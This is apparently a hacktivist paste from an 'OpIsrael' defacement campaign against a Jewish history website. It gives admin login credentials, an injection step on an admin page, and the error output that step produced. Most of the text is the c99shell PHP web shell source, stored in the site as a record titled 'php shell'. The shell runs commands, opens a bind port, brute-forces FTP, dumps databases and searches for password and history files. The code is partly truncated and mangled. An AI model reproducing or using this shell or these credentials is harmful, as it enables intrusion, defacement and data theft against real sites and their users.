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By: a guest on Nov 19th, 2012  |  syntax: None  |  size: 388.22 KB  |  views: 403  |  expires: Never
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  1. ============================================================
  2. OpIsrael : Deface operation
  3. ============================================================
  6. login : eli
  7. password : ucJ9b8pB
  9. after loging in, go on admin/addname.php and send a " un the post form
  12. Warning: in_array() expects parameter 2 to be array, string given in /home1/jewishhi/public_html/admin/addname.php on line 60
  13. Check the items below to be inserted for this name
  14. Year    Title   Content         ID      Insert
  15. -586    KING ZEDEKIAH WAS BLINDED       And taken into captivity by the Babylonians. Zedekiah, ("Tzedkiyahu"}, whose original name was Matanya was the last king of Judea. His kingdom was torn between the two great powers of Egypt and Babylon. Unfortunately, Egypt under Hopra was no match for Nebuchadrezzar who pushed out the Egyptians and laid siege to Jerusalem. Zedekiah tried to flee from Jerusalem but was captured along with his sons in Jericho. He ended his life in a Babylonian prison.  5757    
  16. 0       php shell       $v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 beta (21.05.2005)"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. //Authentication $login = "c99"; //login //DON'T FORGOT ABOUT CHANGE PASSWORD!!! $pass = "c99"; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "c99shell v.".$shver.": access denied"; $autoupdate = false; //Automatic updating? $updatenow = false; //If true, update now $c99sh_updatefurl = ""; //Update server $filestealth = false; //if true, don't change modify&access-time $donated_html = "
  17. Owned by hacker
  18. "; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start directory //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = true; //If true then save sorting-type. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); // Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $exeftypes = array( getenv("PHPRC")." %f%"=>array("php","php3","php4"), ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "" (default) string {closetag} - close html-tag, e.g. "" (default) bool {break} - if true and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), // example array("config.php",1) // example ); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive // Set as false or for turn off. $hexdump_lines = 8; // lines in hex preview file $hexdump_rows = 24; // 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = "c99"; // default password for binding $bindport_port = "11457"; // default port for binding // Command-aliases if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find files", "find / -type f -name"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable directories and files", "find / -perm -2 -ls"), array("find all writable directories and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c99shvars"; // Cookie-variable name $usefsbuff = true; //Buffer-function $copy_unset = false; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array("\"Home\"",$surl), array("\"Back\"","#\" onclick=\"history.back(1)"), array("\"Forward\"","#\" onclick=\"history.go(1)"), array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), array("\"Refresh\"",""), array("\"Search\"",$surl."act=search&d=%d"), array("\"Buffer\"",$surl."act=fsbuff&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Bind",$surl."act=bind&d=%d"), array("Proc.",$surl."act=ps_aux&d=%d"), array("FTP brute",$surl."act=ftpquickbrute&d=%d"), array("Sec.",$surl."act=security&d=%d"), array("SQL",$surl."act=sql&d=%d"), array("PHP-code",$surl."act=eval&d=%d"), array("Feedback",$surl."act=feedback&d=%d"), array("Self remove",$surl."act=selfremove"), array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); //Highlight-code colors $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c99shcook"]); //END CONFIGURATION // \/ Next code isn't for editing \/ $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if ($login) { if(empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if ($login_txt === false) {$login_txt = "";} elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
  19. "," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if (($selfwrite) or ($updatenow)) { if ($selfwrite == "1") {$selfwrite = "c99shell.php";} c99sh_getupdate(); $data = file_get_contents($c99sh_updatefurl); $fp = fopen($data,"w"); fwrite($fp,$data); fclose($fp); exit; } $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} if (!function_exists("c99_buff_prepare")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c99_buff_prepare(); if (!function_exists("c99_sess_put")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0, $len)."...".substr($content, -$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return false;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { $ret = true; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return false;} } else {return false;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { $result = ""; if (!empty($cmd)) { if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (($result = `$cmd`) !== false) {} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400) ? "r" : "-"; $owner["write"] = ($mode & 00200) ? "w" : "-"; $owner["execute"] = ($mode & 00100) ? "x" : "-"; $group["read"] = ($mode & 00040) ? "r" : "-"; $group["write"] = ($mode & 00020) ? "w" : "-"; $group["execute"] = ($mode & 00010) ? "x" : "-"; $world["read"] = ($mode & 00004) ? "r" : "-"; $world["write"] = ($mode & 00002) ? "w" : "-"; $world["execute"] = ($mode & 00001) ? "x" : "-"; if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} return $type.$owner["read"].$owner["write"].$owner["execute"]. $group["read"].$group["write"].$group["execute"]. $world["read"].$world["write"].$world["execute"]; } } if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} if (!function_exists("c99sh_getupdate")) { function c99sh_getupdate() { global $updatenow; $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&"); if (!$data) {echo "Can't fetch update-information!";} else { $data = unserialize(base64_decode($data)); if (!is_array($data)) {echo "Corrupted update-information!";} elseif ($shver < $data["cur"]) {$updatenow = true;} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) { global $win; if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $SERVER_ADDR = getenv("SERVER_ADDR"); $SERVER_NAME = getenv("SERVER_NAME"); $out = "# Dumped by C99Shell.SQL v. ".$shver." # Home page: # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." # Date: ".date("d.m.Y H:i:s")." # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
  20. ".$sql_query_error."
  21. ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "
  22. "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":
  24. ".htmlspecialchars($sql_query)."
  26.         Fields:
  27. "; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
  28. ";} echo "
  29. "; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return false;} } } if (!function_exists("c99fsearch")) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== false) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} //Sending headers header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if (empty($tmpdir)) { if (!$win) {$tmpdir = "/tmp/";} else {$tmpdir = getenv("SystemRoot");} } else {$tmpdir = realpath($tmpdir);} $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("",$highlight_bg); //FFFFFF @ini_set("highlight.comment",$highlight_comment); //#FF8000 @ini_set("highlight.default",$highlight_default); //#0000BB @ini_set("highlight.html",$highlight_html); //#000000 @ini_set("highlight.keyword",$highlight_keyword); //#007700 @ini_set("highlight.string",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?>
  31. !C99Shell v. !
  33. Software:  
  35. uname -a: ",1); ?>
  37. ",1);} else {echo get_current_user();} ?>
  39. Safe-mode:
  41. ".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo "   "; if (is_writable($d)) { $wd = true; $wdt = "[ ok ]"; echo "".view_perms(fileperms($d)).""; } else { $wd = false; $wdt = "[ Read-Only ]"; echo "".view_perms_color($d).""; } if (is_callable("disk_free_space")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === false) {$free = 0;} if ($total === false) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo "
  42. Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; } echo "
  43. "; $letters = ""; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range("a","z") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= " ] "; } } if (!empty($letters)) {echo "Detected drives: ".$letters."
  44. ";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "".$item[0]."    "; } } ?>
  47. "; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10,count($line))); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} $line[] = "KILL"; $prcs[] = $line; echo ""; } } $head[$k] = "".$head[$k]."".$y; $head[] = "ACTION"; $v = $ps_aux_sort[0]; usort($prcs,"tabsort"); if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "
  48. Attention! SQL-Manager is NOT ready module! Don't reports bugs.
  49. "; if (!$sql_sock) {?>"; } echo "
  50. SQL Manager:
  51. "; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "
  52. Can't connect
  53. "; echo "".$err."";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "
  54. MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
  55. "; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
  56. "; } echo "
  57. i
  58. If login is null, login is owner of process.
  59. If host is null, host is localhost
  60. If port is null, port is 3306 (default)
  62.  Please, fill the form:
  63. Username        Password        Database
